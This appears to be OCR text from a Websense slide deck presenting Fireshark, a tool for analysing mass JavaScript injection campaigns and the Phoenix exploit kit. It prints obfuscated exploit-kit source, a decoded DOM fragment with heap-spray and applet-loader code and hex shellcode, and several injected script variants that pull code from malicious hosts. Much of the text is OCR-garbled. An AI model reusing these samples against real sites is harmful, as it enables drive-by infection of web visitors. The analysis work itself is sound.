:LVR; ++E-3B%Q; c=:P##+#J#BZ 1 P¥24>4. 3J%%:2%0%%, -, +=0.+ BN, VSL6RZO0,e,, [B*e6f-FE?K>>2JJV6=L, .20BE, :RL, , [KZ.2QBE, :2: ,CJ6N: : KC:L
, KL, [04Z+8KR:VE; +2 ZU- . R3PGOV4L, , 6B?6N: B +3a0 [++C: PE*=6£9E-. . .E+, ] K. .M, V6<JPCaHZ0222<6CNL, Za>] B *3 B++232>25 06E26E2 :E2Z] R+
#2J[27%2L/ 1>E_*7e0MHL; T: ZoM: E[MOgEMHEL+; 4% <—;N4J>>M 5:2-><KKREN®JNOMZ ?"RS1REITORO-—;1:,, :DEK:262+271:<8J> . J_#IN2JN.J. 4JNC
/230;e4:W+RRE.OLEVI >J>G/-.J_ >K>0LKO:D403+RS1R7/-HJ >LNOLELR7?/-7:D, :B] 2310042 :CN.K1;+2; [R3,884:<.:Nz.:.0.0.5.:D—~; :.:D-; :
tD=; ;.z.:.;.;+R;*RSTRL—:L*:DZMR]-;.,JNOLZ;.;.0J.0K.,J ;0;.0J >M 2DK.,3.;.0K.0M 52:,2DJ?2J->4cREPR*2Se+6K>0DMV[
>HDMZKE6JUZKR=2017; N: WP:*27%P; 43DN2KEG6E2 7EP; 48, <2L2eSMRh, HDK, "DEA/OR.]/:B;2LZK.OMRh, .DK.7:3KN;*L;.;*R71;e/R2°,2DJ=-,L+
.LZL*; 0J »cQ®»>B_F+;KOh]2]271; G1; G1: Gl; G1; Gl: Gl; Gl; Gl; G1,3.;,00;/2L2L27.; :5V7VER/;*RLZLZ,=5 IHDBEYIL iTU=1"K =l

Fun script | = Replace evall) with Ievla Find | I Templates | Wide 2 1052 I
= Override eval() [~ Case sensitive
Debug | Format code |

(% Leave asis [~ Do nat bother me with messages

Script can't be compiled

weksense
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JSUNPACK V.S. The Phoenix Exploit Kit

JSUNPACK

A Generic JavaSeript Unpacker
CATUTION: jsunpack was designed for security researchers and computer professionals

BECENT SUBMISSIONS

Enter a single URL (or paste JavaScript to decode):
http://osloebi. com/findex php

Upload a PDF, peap, HTML, or JavaScript ﬁle| |[ Browse_ ]
Private? [] Help: privacy | uploads

Des.cr'rption| |

| Submit URL(s) |

welsense
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JSUNPACK V.S. The Phoenix Exploit Kit

ERROR: CAN NOT FULLY DECODE

Analysis Completed

g[notln'ng detected] osloebi.com/findex.php
i info [decodingLevel=0] found JavaScript

éfetcll_ee7d?03419872bca569d4505508385bc1b880f86 from osloebi com/T'index php
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JavaScript Engine + Limited browser features

schenettel

12> eval

function eval () {
[native code]

window.location. search
FEeferenceError: window iz not defined

AT Awey WV,
N W S N
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Emulation -> Implementation is behind

“document.body is undefined

" document.title is undefined

" document.forms is undefined

" document.documentElement is undefined
“document.URL is undefined

“document.getElementsByTagName Is not a
function

weksense
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Emulation -> Implementation is behind

“ window.location.search

“ window.addEvent is not a function
“ window.onDomReady is not a function
“ window.parent is undefined

“ window.screen is undefined

“ window.top is undefined

“ screen Is not defined

“ top Is not defined

“ parent is not defined

“ self is not defined

“ location.protocol

weksense
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FIRESHARK
INTRODUCTION



Why do we need Fireshark?

" Researcher
= Network Administrator
"  Penetration Tester

“ We need tools to analyze mass injection attacks

— Website Architecture/Redirection Chains
— Source / Changes to DOM / JavaScript function calls
—  Content Profiling / Screen shot

= Using an organized and ultimately VISUAL approach

weksense
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List view V.S.

£ Fiddler - HTTP Debugging Proxy

deki-hayes-rovk
304 HTTP deki-hayves-rovk
304 HTTP deki-hayes-rovk
304 HTTF deki-hayves-rovk
304 HTTF deki-hayes-rovk
304 HTTP deki-haves-rovk
304 HTTP deki-hayes-rovk
200 HTTF deki-hayves-rovk
304 HTTP deki-hayves-rovk
304 HTTP deki-haves-rovk
304 HTTF deki-hayves-rovk
304 HTTF deki-hayes-rovk
304 HTTP deki-hayves-rovk
304 HTTP deki-hayes-rovk
304 HTTF deki-hayves-rovk
304 HTTP deki-hayves-rovk
deki-haves-rovk
deki-haye vk
deki-hayes-rovk
304 HTTP deki-hayves-rovk

Graph view

Iskinsacefneutral/mt-top-s.png
Iskinsace/neutral/mt-body-s.png
Iskins/ace/neutral/mt-botkorm-s. png
[skinscommonimages/maskBE. png
Iskins/acefneutral/il-tr. png

Iskins/ace/neutralfil-tl. qgif
Iskins/ace/neutralfil-titlerbg. png
Iskins/common/popup-attach. phprattachID=. .. 1
Iskins/acefneutral/il-titlelbg. png
Iskins/ace/neutralfil-body. png
Iskinsaceneutralfil-bodyl. gif
Iskins/ace/neutralfil-bbody. prg
Iskinsace/neutralfil-br . png
Iskins/acefneutral/il-bl. png
Jeditor/popups/popup. j=
Jleditor/popups/popup. css
leditor/popups/select Topic. css
I@apifdekiffiles)ojdescription?drearn.in. verb, ..
Jeditorpopups/loading. html
Iskins/common/icons) anim-circle., aif

welksense
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List view V.S. Graph view

£ Fiddler - HTTP Debugging Proxy

deki-hayes-rovk  fskins/ace/neutral/mt-top-s.png
deki-haves-rovk  fskins/ace/neutral/mt-body-s.png

deki-hayes-rovk  [fskins/ace/neutral/mt-baottam-s.png

deki-hayes-rovk  fskins/commonfimagesimaskEG. png

deki-hayves-rovk  fskins/acefneutralfi-tr.png

deki-haves-rovk  fskins/ace/neutralfil-t]. gif

deki-hayes-rovk  [fskins/ace/neutralfil-titlerbg, png

deki-hayes-rovk  fskins/commonfpopup-attach, phprattachID=. .. 1
deki-haves-rovk  fskins/ace/neutralfi-titlzlbg. png

deli-bavec ol tebinelareinenbrallil-hady nne

smeilier kel oo another website2.com another website3.com

\\/

another website5.com WBhSlte com 200 another website6.com

S

another websitel.com another website9.com

another website0.com

another website7.com another website8.com

welksense
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Architecture of a youtube.com

youtube.com Q\

i3.ytimg.com

i4.ytimg.com

i2.ytimg.com

/

T 200 " il.ytimg.
youtube.com ‘. 200 il.ytimg.com

WWW.
% %& csi.gstatic.com

s.ytimg.com _ >

welksense
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horoscope.com (Content responsibility)

edge.quantserve.com

media.fastclick.net

cdn.fastclick.net ¥ /

b.scorecardresearch.com
www.google-analytics.com

welksense
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7 » Wsiming &
W sina . @L‘—:\
" dlsimacom.en

w
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clicksor-con,eastnoney,con, nobile-de honesaleplus.ru

wud, foogle-analytics,con
tobeyeu, con

wud ., poogle, con
googleads.g,.doubleclick,net
93,186,127 .49

pagead?, pooglesyndication, con
hindger.con

rascop,con

sodanthu, con

aponith.con

purgand.con
AZfA=A""gumnentha.con

wuu , bluehost .con
S8centptr.con

wud, sedoparking,con
onlinesertepkos,con
12583.con

ad.wz,.cz

ext . tyroo,.con

Ho. Ingress Connections

e e ha
= tn =

L

ac

+ + + + + + +

+ + + + + +

+ + + +

welsense
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Original Source code (Phoenix pack)

* V.:a00>L75-E9CSC:2:3DB7X_V. ; OOQEQNDAL-;SD2L75: . ; SD2L7S; . ; SD2LTS; . ; SD2L7545. DETX>~<_; 1D 4N; SC) J._VO-*2SB60-+US*F +7SD~
-ENS4KdaOVad-¥S5; [+DECVLGSE®INDD . g-¥5, -, a_V KB V3c:¥S; *QUS*c*7S, .32<(, BO_VNaB_VKV-D *S+D8/P+¥SBhO7S, 7075.L2_WPBS<[22-<bBZ
FOL4ZOORK"DA3A2_V:00 W VISE/.N<_:<75./LUS. JIUSFO: 7SE8CTSELC< [ +B5<asV-DRdaSDA 27L7SFO* E<a4300X~. 72SEQBRSE/ . N<) *[2_VHEADA:S
4US>L2, U== " ecFeUcVEA-QI4gegNbSNNEC_; .30 7Cb[Bg93YL[d611/M_b(BgXIVXISEX1~h>+ Ec_: .3b3+eNYLOZADZISY?3S*S[CVY=ISQNQPa[Lh78P-
/PeRGb >R, D. 2" 2aT>+Y; YHG. IKGh  >R*H-] VXQBQ/ P) gOcChh?24 11 7gR93 +eNYLN[ gOOA+VKRKSIKB*J . ; #2035 . . 7. : *-2L2KQRL2L, R7., .B_4L2L2.L8B
(MOGOBB.5:.:.:D2*H.B-3B-R:D2L0O662, RL2L27. B[L4; *0/</+RM2L. <7, :L<RJ_OLO6B[NO6Ja, L2L2B[ROGBZ[N*> ~0J.D7MAK>:D212; 106D@INJIOIZ |
, T604N=] ] 871B~K.e:90c, a7>0.FU, 4L+>+290¢*T; . B<<RJ " 35B° Z2LOGLKRLZLZMRL~;, VM2) ~; .OL2J>; . ; . 56M-G. ; . ;& D2MRI [<LYO2 <2*V7KE/ *CH
02L/PO.U_2L2L=;.;.; 4RLBO. ;. ;. FL2J; 6[P>Z>/CP/BBL6? VY=6+4NL,2L9, D[K*®.; J4%3P*] : +: 2ABE, VARU6ZU-, ; LXOJVR: 422U~ .S/ 47BZPC=*, ; KR>3
. /BN, VSLEQ . U-CS+82J, G-6D[K*. ; J* *3*LVR; ++B-3B*Q07RB 62 *L672062=3, 4) K. ./ J60J,G*, , 3aD[0%ca422JL: Nb6dPOZA 6" V+_V: N6DAIN* 1 K16;) 2;
, 6APF 10> ZRIVENN. * 642 . BUSBS4. : <642(42g3U0. * 4B <64) K26562U~. ; LXOIVR; 422U~ . RMZ. .JQC1JV4IV* , V6: 0408, ) K. .1, V6<LS, /0, 230/BBO+6
AYhJI6: : iNB*3./KVSNK*3 (PCP/BBLE? V/0,230/BB0. B/ =3./J,0KV: :@>3P".*8* a® [4400* 642 [ . BUSBS4. : <642[42920>20NB7KL> . *8 a® [ ++04* 642(
.BUSB*PB-3..:,9, *=64NL, .54. :<66:82 (8 *3_BIPGOV+L, , LAGKVAZUR[4820025*B3 1XL+CS-B " J2hQ. *:; 4B*3, D[P, Z.*.J; : T, : 3B_BE+B2:, CI6N:
ILVR: ++B-3B%Q;cm 1 Pre42J*B2 1 P¥24>4. 3J*9:290%7, -, +=0.+ BN, VSL6GZ0,e,, (A *e62-B7K>>2JIVEL, .2QBE, :RL, , [K2.2QBE, : 21, CI6N: 1 KC:L
, 2KL, [042+8KR:VR; 422U~ RIPGQVAL, , SB76N 18 %300 [ +4C 1 PB = 6298~ . .E+, 1 K. . M, V6<IPCaBZ0222<6CNL, Za>] 73 _B4++423a>25"06E26E2 1 E22] R
Y2J[27%2L/ : >E_"7eONBL: ¥: Z0N: E[NOQENH6L+: 4% : <= NAJ>>R_5: 7~><KKRKN*JNONZ 7 *RS1RAJTORO-~; 11, , :DEK>2624271:<8J>.J_"IN2JN.J . 4INC
/230;e4: UsRRE, OLKVI_>J>G/-.J_>K>OLKO: D40S+RS1R7/-HJ_>LNOLKLR?/~7:D, :B) 2310042 :CN. K1:42; (R3,804: <. iN: .5 o205 aietD=3_3.3D=3 ;
«iD=3 3.3.3.i.;+R:*RETRL~1L*1D2MR) ~;.,INOL2;.;.0J.0K.,J_;0;.0J >N 2DK.,3.;.0K.0N S2:°,2DJ22J->4cRZPR"25e+6K>0DNV(
>HDMZKEGIUZKR=2017;: N: WP:* 27 °P; 48DN2ZKEGSE272P; 48. <2L2eBNRN, MDK. *DEA/OR.)/:B:ZL2K.OMRL, .DK.7:3KN: "L:.: "R71:e/R2",2DJ0=~, L+
.L2L*: _0J_>cQ*>B_F+;KOh]2)271:_Gi: G1: G1: Gi: Gi: G1: G1: G1: G1,3.:,00:/2L2L27.:_:SV7K8/:*RL2LZ,=5 IHDBYIA' iTU=1*K

welsense
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DOM result (Phoenix pack)

444553540000" ' + edc. suhﬁtr(nhjpuﬂj,}E1se{return edc; Filev(']
vid); Junction FLAEHSPRAY(){var movie = (navigatpr.a pHame 1ndexof
(' microsoft J=-1 7 window : ucument)[ Bridgemovie’ E movie.sendrFromls
Fdatag gfunct1nn GFLASH() try{var x = navigator. pTug1n5[ 'Shockwave
Flash"];1f(x &amp &amp; escription) {var Playerversion =
x.description. lace f([a zA-Z] INs+/, " dLreplace(S(\s+r | \s+h[0-9]
+)/ " "gtsp11t( "7 vers-P1ayerVErsiun[2 FLASHQ(),}E15E{PUF() Has
catch(e){PDF() }}Funct1un RUNJAVACver #unct1un InBesApp?et(data)
Evar d= ducument createelement( div'):d setﬁmtribute

id', "1 ); document. body. appendch11d(d) var applet="&l1t;applet
cnde='dev.s.AdgredY.c1ass' archive:‘Fi1esjd95.]ar' width="462"
height="255"&gT;&1t; param name='data’ VALUE-'“+data+“ &gt; &1t; param
name='cc' walue='l &g &lt; }hgp1et ; document. getE1ementById
C'9').innerHTML= ap?1et }funct on InApp1et§arch1ve sc){var
d=document. createElement{ 'div'):d.setartribute
('id", '1 'J; document. body. appendchi1d(d) var applet="&1t;applet
width= ﬁe1ght— ' code="Appletx' arc 1ve- ‘+archive+"'&gr; &1t; param
name=" 5c value=""+sc+""&gt; &1t; param name="n
value="90909000" "&qgt; "; docament . getETementById( i').innerHTML=applet; }
var
shellcode="505351525657559CES000000005D83ED0D31C064034030780C8B400C8B70
1CADEE4 00BEBUS8E4 0534804 07C86403C56576E5E01000001EEBF4ECLO00001EFESBDS0LO
Q00SFSEBOEABLC25E0L0000526880000000FF954E0L000089EABLC25E01000031F601C2
BAGC356302000080FB007406881C3240EBEECE04320089EABLC24502000052FF9552010
QO0BSEABLCZ2500200005250FF955601L000064000A0089EAR]1CZSEQLOQQOQS2B89EARICZTSE
020000526A00FFDUBADSESEABLCZSECLOO0052FF355A01L000089EASLC2 5ECL000052688
QOO000OFFI95S4EQLOQOQOBOEABLCZ SEQLOOOO3LF60LCZBASCIS56E02000080FB0OOY406881C
3246EBEECG604320089EA81C24502000052FF955201000085EAB1C2500200005250FF955
60100006A00640089EABLC2 SEQ0LOC005289EABLC2A6020000526A00FFDO6ADSBIEABLC2
SEQLOOOO52FF955A010000%D5DSFSESASSSBIBCE0000000000000000000000000000000
0476574 546560705061746841004CHEF61644CH96272617275410047657450726F634164
64 726573730057696E4 5786563 00BEBO9F2BOF730C0AEY SFD2O9F7E89F93LCOBEZCOOQ0000
3B51B02000066AD03851B02000086707883C61C03B51B0200008DEDLF020000AD03851E
0200004BA003851B020000504BA003851B0200004B5E31DBADSG03851B02000080C689
751FCF3A6597404 5E43EBESSEQ3DLEOQO3852702000031F69666ADCLEOO203851F020000
89C6AD03851B8020000C3EEL000000000000000000000000000000000898516020000565
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How to use Fireshark 1.0

“ Install Fireshark Firefox plugin (.xpi file)
“ Create data.txt file, place in your home directory
" Tools->Go! (then go and get a cup of coffee)

= ** Reportlog.yml **

“ Use post-processing scripts
— Firesharkinitinfo.pl (must be run first)
— GraphViz.pl
— IngressEgress.pl

weksense
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#* schenette@ssdstret1.~/fireshark @

events:
- urlloaded:
url: http://www.rubberduckie.nl/
- connectiomn:
type: reguest
src: http://www.rubberduckie.nl/
dst: http://www.rubberduckie.nl/test/wp-content/themes/AdventureTour/style.css
redirect: false
- connectiomn:
type: reguest
src: http://www.rubberduckie.nl/
dst: http://www.rubberduckie.nl/test/wp-content/plugins/google—ajax-translation/google-ajax-translat
ion.css?ver=20091023
redirect: false
- connection:
type: reguest
src: http://www.rubberduckie.nl/
dst: http://www.rubberduckie.nl/test/wp-content/plugins/contact-form-7/stylesheet.css?ver=2.0.7
redirect: false
- connection:
type: reguest
src: http://www.rubberduckie.nl/
dst: http://www.rubberduckie.nl/test/wp-content/plugins/nextgen-gallery/css/nggallery.c3s?ver=1.0.0
redirect: false
- connection:
type: reguest
src: http://www.rubberduckie.nl/
dst: http://www.rubberduckie.nl/test/wp-content/plugins/nextgen—-gallery/shutter/shutter-reloaded.css
2ver=1.3.0
redirect: false
- connection:
type: reguest
arc: http://www.rubberduckie.nl/
dat: http://www.rubberduckie.nl/test/wp-includes/js/jquery/jquery.js?ver=1.3.2
redirect: false
- connection:
type: reguest
arc: http://www.rubberduckie.nl/
dst: http://ajax.googleapis.com/ajax/liba/awfobject/2.2/awfobject.js?ver=2.9.1
I redirect: false
- connection:
type: reguest
arc: http://www.rubberduckie.nl/
dat: http://www.rubberduckie.nl/test/wp-content,/plugins/nexctgen-gallery/shutter/shutter-reloaded.ja?
ver=1.3.0
redirect: false
- connection:
type: response
arc: http://www.rubberduckie.nl/test/wp-content/themes,/AdventureTour/style.css

[ el — el el il el el —




Post-Run Analysis / data correlation

“ Log is analyzed manually or automatically via post-
analysis correlation process

B
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*\Jg
e WOL
——

) Mozilla Firefox

Cile Edit View History Bookmarks Tools Help

Q- c x & v

(&) Most visited || Smart Bookmarks P Getting Started |3\ ] Latest Headlines
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e Modified
/2010 4:53 PM
/2009 12:13PM
/2008 4192 PM
b2/2009 4:27 PM
7/2010 ;47 PM
p/2009 11:06 AM
2008 1:383 PM
/2010 5:38 PM
2009 12:28 PM
R/2009 2:02PM
2005 5:15 PM
2009 11:52 AM
2005 5:15PM
2005 5:15PM
/2010 5:19 PM
/2010 5:35PM
p/2010 5:38 PM
/2010 5:38 PM
7/2010 4;46 PM
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DOWN THE RABBIT HOLE



Down the Rabbit hole

“ Analysis of Three exemplary Injection campaigns

“ Injection campaigns occur daily

“ A breadth view analysis
“ Gain a better understanding of the malicious webscape

" Use Fireshark to do it.

weksense
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Down the Rabbit hole

Injection Example #1

weksense

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII



Injection Example #1

= 13k matches/24hrs

</center>
</body></html>

<script>/*GNU GPL*/ try{window.onlcad = function()(var Xfigs17ug8whid =
document.createElement (' s(c!r)&l&p‘)(t&“(l'.replace(/&l@l\)I\“I\(l\!l\Slﬂllq.
'')) :Xfjgsl7ugBwhid.setAttribute('type’,

'text/javascript') ;Xfjgs17ug8whid. setAttribute('src'. 'hEL)BEAI&ID) ViGHE /M)
/SEANgE (BOBBLSSO1 AL 145%eS) -2 1BCL R ROR-SkErEn (.

(SeySo#EmL#) SituSErEis. #c () So&#) . 8 (53 () &S (p#)

(.Br!1)e!nk (*rE)'es sndlé- (c()o(&)mS$S.Ewrikdn! 1tdel!) I (B (s!Sak! 18 Le 5o SnéEl) 1]
(OGS4 /#5aR1CLELCHe SR (HV(SCL(S(SE(&5a((.) O &rEE)gk) $/84(ad 1 1LEGe!
(Ar8 (#v) 168s881t52aS (. #)o (S r8gl S/4&1g! 1adsm) Je! fHa (1! sLR . RRRACSORHEEmMA (/heklixEaY
(Si# (154&.5cH#50&) § (m!#/ (#g! (&ok&)olSg) &!15e(.5'c) ()o) &Sm#) &/) &' .replace (/&|\*|
\SINCIZIN) 18]\ /ig, '')) :XfigslT7ugSwh7d.setAttribute ('defer’',

'defer’') ;XIjgsl7uqSwh7d.setAttribute('id', 'Y#)r) ()d(#p!) !88n)o&d&! Ivive
($8#)BS8L2C &L 'n#&HgRRERE  .replace (/\*|\) | &IGIN(I#I\'I\$/2g,

'')) ;document.bedy .appendChild (Xfjgs17ugq8wh7d) ; }} catch(e) {}</script>
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Injection Example #1

= Step 1) Analyze a subset (500/13Kk)

" Breadth

— Popular campaign will emerge
* Injections into unique websites will lead to same hosts

“ Depth
— Detalls of the attack

* Screen Shots
* Source code, Deobfuscted DOM, Network traffic

weksense
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Bird’s Eye View of 500/13k
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Popularity of Requests

Ho. Ingress Connections

- - ha
-] o =] o -3

clicksor-con,eastnoney,con,nobile-de honesaleplus,.ru T T T T T

G
BE

+

wud, google-analytics,con +
tobeyew.con —
wuw, google,.con —

googleads.g.doubleclick.net [~

+ + + +

93,186,127 .49 —

pagead2, googlesyndication,.con [~ +
hindger.con

rascop,con —

sodanthu,con [~

aponith.con

purgand.con [~

+ + + + + +

AzA=A"gunentha,con |-
wwu, bluehost ,con —
S8centptr,.con —

wuw, sedoparking,con —
onlinesertepkos,con
12583 ,.con [

ad,vwz.cz —

+ +F + + + + o+

ext . tyroo,con —
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Popularity of Requests

Ho. Ingress Connections

clicksor-con,eastnoney,con,.nobile-de honeszaleplus,ru

wuH, google=analylics, con
tobeyew.con
wuv,google,.con [~
googleads.g.doubleclick.net [~
93,186,127 .49 — +

pagead2, googlesyndication,.con [~ +
hindger.con
rascop,con —
sodanthu,con [~
aponith.con

purgand.con [~

+ + + + + +

AzA=A"gunentha,con |-
wwu, bluehost ,con —
S8centptr,.con —

wuw, sedoparking,con —
onlinesertepkos,con
12583 ,.con [

ad,vwz.cz —

+ +F + + + + o+

ext . tyroo,con —
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Popularity of Requests

Ho. Ingress Connections
= = ha na [

@ o ) o @ a
clicksor-con,eastnoney,con,nobile-de honesaleplus,.ru T T T T T

+

COon [~

93.1686.127,49 feor -

Con [~

googleads.g.doubleclick.net [~
93,186,127 .49 — +

pagead2, googlesyndication,.con [~ +
hindger.con
rascop,con —
sodanthu,con [~
aponith.con

purgand.con [~

+ + + + + +

AzA=A"gunentha,con |-
wwu, bluehost ,con —
S8centptr,.con —

wuw, sedoparking,con —
onlinesertepkos,con
12583 ,.con [

ad,vwz.cz —

+ +F + + + + o+

ext . tyroo,con —
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Down the Rabbit hole

eInjection Campaign #1: 93.186.127.49

weksense
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"W93.186" Injection Campaign

Apan. guoginepte cum S
- o iidiprwbe com
. 'S
—
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"W93.186" Injection Campaign

ajax.googleapis.com

200

\ >@tpamasaki.info
niruj.com :S'J

weksense

IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII



“"W93.186" Injection Campaign SS

System Tasks

(2] View system nfcemation
LD Add or remove programs
B Change a settings

frome mocma 106 127.49
Would you e to save this fle?

[¥] Mmess.Trojon
[¥] serv.Transponder. Trojan
[¥] wstart.TrojanDownloader

L

| Removeot ||

Spywace is software, which can gather nformation from user's computer through -
Internet connection and send them to ks crestor. Gathered nformation can be Kate

passwords, o-mal addresses and o that data, which is mportant for you,

Waking resoval
Waktinn romoval
Wating removal

Critical 05.13,2009 23

Critical 09.17.2009 37

This peogram is potentisly dangercus for your system, Trojan-Downloader stealng passwords , crodt cards and other
personal nformation from your compter,

weksense
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Jbservations from S
attack

eOperation b49

weksense
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Rascop.com...a familiar foe?

ajax.googleapis.com

200

zgﬁnamasaki.info

niruj.com ﬁﬁ'_

weksense
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Infamous Rascop.com

rascop.com = NXD (feb 10°)

%) Problem loading page - Mozilla F efox
File  Edic  View Higtory Bookmarks Tools  Help

67 C X A Mmiraston coniredz phe

Most Visived | ] Getting Started 1] Latest Headines

| 1. Problem loading page =] [~

Server not found

Firefox can't find the server at rascop.com.

= Check the address for typing erars such as ww.example.com instead of
www.example.com

- = If you are unable to load any pages, check your computer's network

connection,

= If your computer or network is pratected by a firewall or proxy, make sure that
Frefox is permitted to access the Weh.

d .

Done

weksense
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Rascop.com and friends gone but landing

vages here to sta

“ Waladec domains were NXD in the takedown
“ Landing pages were still online though

Ho, Ingress Connections

= - n
o L @ o @
clicksor-con.easthoney.con.nobile-de.honesaleplus.ru T T T T T

Gé
BE

wuu, google-analytics,.con — +
tobeyew,.con —

wuu google,.con —
googleads, g, doubleclick,.net
93,186,127.49 —

+ + + +

pagead?,googlesyndication.con — +

hindger,.con |—

rascop.con

sodanthu,con
aponith,con

purgand,.con —

+ + + + + +

AZA=A"gumentha.con —
wud bluehost . con —
S8centptr.con —

wuu, sedoparking,.con —
onlinesertepkos,.con —
12583,con —

ad.wz.cz —

+ + + + + + o+

ext,.tyroo,.con —
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Injection Example #2

e Attack #2: ru:8080

weksense
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Popularity of Requests

= 250/5k URLs lead to homesalesplus.ru

clicksor-con,eastmnoney,con,.nobile-de, honesaleplus,ru

wud , google-analytics, con
tobeyew.con

wud, poogle, con
googleads.g,.doubleclick.net
93.186.127,.49

pagead? . googlesyndication,con
hindger.con

rascop,con

sodanthu, con

aponith,con

purgand.con
AzZfzA"gunentha., con
wuu,bluehost , con
SBcentptr.con

wuy, sedoparking, con
onlinesertepkos.con
12=83.con

ad.wz,.cz

ext.tyroo,.con

Ho, Ingress Connections

= - v
@ o @

LS

+ + + + + + +

+ + + + + +

+ + + +
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connection

= 250/5k URLs lead to homesalesplus.ru

clicksor=con,eastnoney,con,nobile=de_hones E lus,ru
(TITIT guugle-anagg E ﬁ Eg:

COp,COn
pagead?, guuglesgndﬁcﬁ 1gr Eg:
0 e EM, CON
uz cz

Lead dEiiE
googleads,g.doublec CXs cun

Eur-rg ci,cc
%ﬁ gungpt 9 cun

DnllnESEEtEﬂEgﬁ EE:

danal t £, 00
hlﬁhﬂﬁﬂﬁggcscuﬁ
interia.,

gy erlia,
"cgﬁﬁit Eﬁggrj Ei
o LA TR

HWHHW  Hou E E “H

Eana g cun
&7, g d ﬁ%ﬁ cun
HES norths,
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Injected Code Variation #1

script>, *CODEL1*/ try{window.onload = function(){var
236s54icd4454clw = document.createElement
("script’);Q236s41icd454clw. setAttribute( ' type’,
‘text/javascript’);Q236s4icd4454clw. setAttribute(’id’,
"myscriptl’);Q236s41cd4454clw. setAttribute(’'src’, "h(t)!
ATA) ) p#FR:&&’/ (##/&S#CASSTAR) (A&(CSA)K) )#SsA0S#r ! A)A-
§8S&c@So# amsS! #, #&(e((a! !'s) (@) &m((o@AAN! §! e&A&
(y$#).#&cS@os@! SArm(## (. @mBo@(b(1i1&#1#!Ce@)@&(-(d)&(er&l
(.))e&h)eaaorr@m! e#&&)s)a#SS15S#er@! pr@l&au# ((AsA#@(. S)
Eﬁ}u(:!58!SO&S&S)@SOS!)/!0#&@c##@@n(@A!.))n@e@.)&j!

#Sp#/)A@orcAn) (. Ona)eas.@!)s)! ! a(p#! /@&)cAr(1&(a&s (As@!
raa(Srt#e! #/@)sS. Ach&F o ((&m&/) (RRAT1&() 1 (@n) (kS@&h&e)@s (1)
SpA!e)S!SrS#.)&c!&n(S@/Sg#OA@&o!SSgSA1A&#@eS.&&!c#o@SSm(/

$3 .replace(/\(I\! [&]|#]|\ |\)[@I\A/1g,
"")):Q236541icd4454c lw. setAttribute( ' defer’,
"defer’);document. body. appendChild(Q236s4ic4454clw); ;7
catch(e) {i</script>

</textareax</form>

weksense
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Injected Code Variation #2

<script>, *LGPL*  try{ window.onload = function(){var
Kdxcthy92mqwy = document.createElement('s#((cSSS@ra&si(@p!
@t#’ .replace(/\CI\! [#I\S|\A|\) |&l@/ig,

""));Kdxcthy92mgwy. setAttribute('defer’, 'd!ess$)
&fr@eS(&r# .replace(/\(I#|\AI\S|@|\!|&|\)/1iq,
""));Kdxcthy92mqwy. setAttribute('type’, 't###Q!'e@(X)t&)(S/
(j!)a@vS@)a#((SsA!#)Sc@!)r(&i!SﬁS#(t)'.rep1ace(/@l\!
[#1&I\)INSI\AIN(/ig, ""));Kdxcthy92mqwy.setAttribute( id’,
'SA#&2AM0(S&AAAED) M) #)1AL) as@au) 1&Ma&((g&2&9O#('.replace
() INSINAl@|#|&I\!\(/ig, '"));:Kdxcthyd2mqwy.setAttribute
('sar@cSA!’.replace(/\) I\AI\! [#|@|\S|&|\(/ig, "'), 'he
(t#t)ps:#) /&(&S/1r&(@k&)eReSSz@#m(! )R0SSVARRI#SeSS@sS-)A&)
&c@! #(oN#@#mRAS. &0&d! Sre(#@s@ (! #ksSA. A@R(cr0!&F#Fm(5)&. &)Nn#b
((a@-&)A)c#) (Fo#! @ Am&SA, S! 1) t#!1@h! #e&Sc(#@hS&o (& C! #S0&A 1
(a&)t#rre(@w(Alre! )b! . & (@u! : ! )8! 0A#A8) '@0#! ! /#R) T &I
(@NASSY&AUFREr AT #&(##, | SA#C (! oAA! SEMR) # /5! S&T&ISN(y!)
(urS&#r@)) 1! se. carro&m(A(/(F)1#!r!' (Oi1&&e! An#¥d))
feRe@#&e#!!) ! d#@).))c) ' ro##@m! AS&/! (&'!s (&o&(@af#t (o!@n#
(Ai&@&c&&!A.!&c#&o)hm)#!/(@gS&S&o&oSAS SAl1S#e#, (c#!'@)0!
se#&ms/A! *.replace(/\!|\) I\ I&I#I\Al@l\(/ig. IR AT
(document){document.bodz.appendch11d(dect yo2mqwy); 1} }
catch(Hgsusmdsgbdeweekzkh) {}</script>
<!--e3d/fda78c66a21182b6e8fobf4df79a-->
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Injected Code Variation #3

/*GNU GPL* / try{window.onload = function(){var A84jbd5xsu =
document. createelement( script’); A84jbdSxsu.setAttribute
("type’, 'text/javascript’');A84jbdSxsu.setAttribute(’id’,
‘myscriptl’);A84jbd5xsu.setAttribute(’'src’, 'ha&(t)St(!ap
(sa:se(/!'!)/ex! Oean&! Sx&! '@xA'&(-(c#)o#!'m!! (. Sna!#(uA
((.@)#n&!(15@@.#A@@ws()B&)(-So)#rSA(g)@!&.@#&g(Ao!&1!)&d!
@QAQR&) 0&R#TAAT (1! ! a#) #@QASAR. #(AAr )&#FuU@! 1 1&SS8)0&) #8#!
(0~ /@w() She&(&e&b)&1GR#Y&S! . RC&R&0)AA! SMS@/SS&RWSA)Rere!
(b))1(Ay&)&.) (c!!1or&m! (SA/(A)!1!11&(a!ASr@! e#&dS! #0) (Au(t
(esSC.sf@!r!S(/!!1gS!A)&ora#So@#S (ganl##enr! (. ) (&c!S0)
SEMRAR/##! ) #r&@i ! #nAS(C)) ! So#&)NA(! dA&e&1#&av&)a(SS! gan)
#0#&N! . ((Ac@)&RO!'!)!Im! /)S .replace(/@|\A]\)
#|&IN\SINCIN!/ig, ""));A84jbd5xsu.setAttribute( ' defer’,
‘defer’);document. body. appendChild(A84jbd5xsu); }} catch(e)

i3
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Depth - Diff DOM/SRC

D File Edit Wiew Merge Tools Plugins  ‘Window  Help
DBE e B3 2% 22X vé htBEAPAd@

| £rc393 bt - dom348. bt |

Location Pane

L1 i ]

|Ln: 2000 Col: 1155(1222 Ch: 1155/1282 | 1252 | Win |

< [ |
80%

Ln: 2398 Col: 1/837 Ch: 1/337 | 1252 Win

(T =

| Difference 145 of 145 || | |

Liiff Pane

Ready

websense
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Depth - Script link in DOM

= WinMerge - [src993.1xt - dom348.txt]
D File Edit Wiew Merge Tools Plugins  ‘Window  Help

OB Ha B XTI P E At RAR

| £rc393 bt - dom348. bt |

Location Pane Documents and phian’ D 3 C cuments and phaniD

E e I

|Ln: 2000 Col: 1155(1222 Ch: 1155/1282 | 1252 | Win |

<

Ln: 2398 Col: 1/837 Ch: 1/337 | 1252

50% |

in

=
ol
o
-
=
=

4] (T &

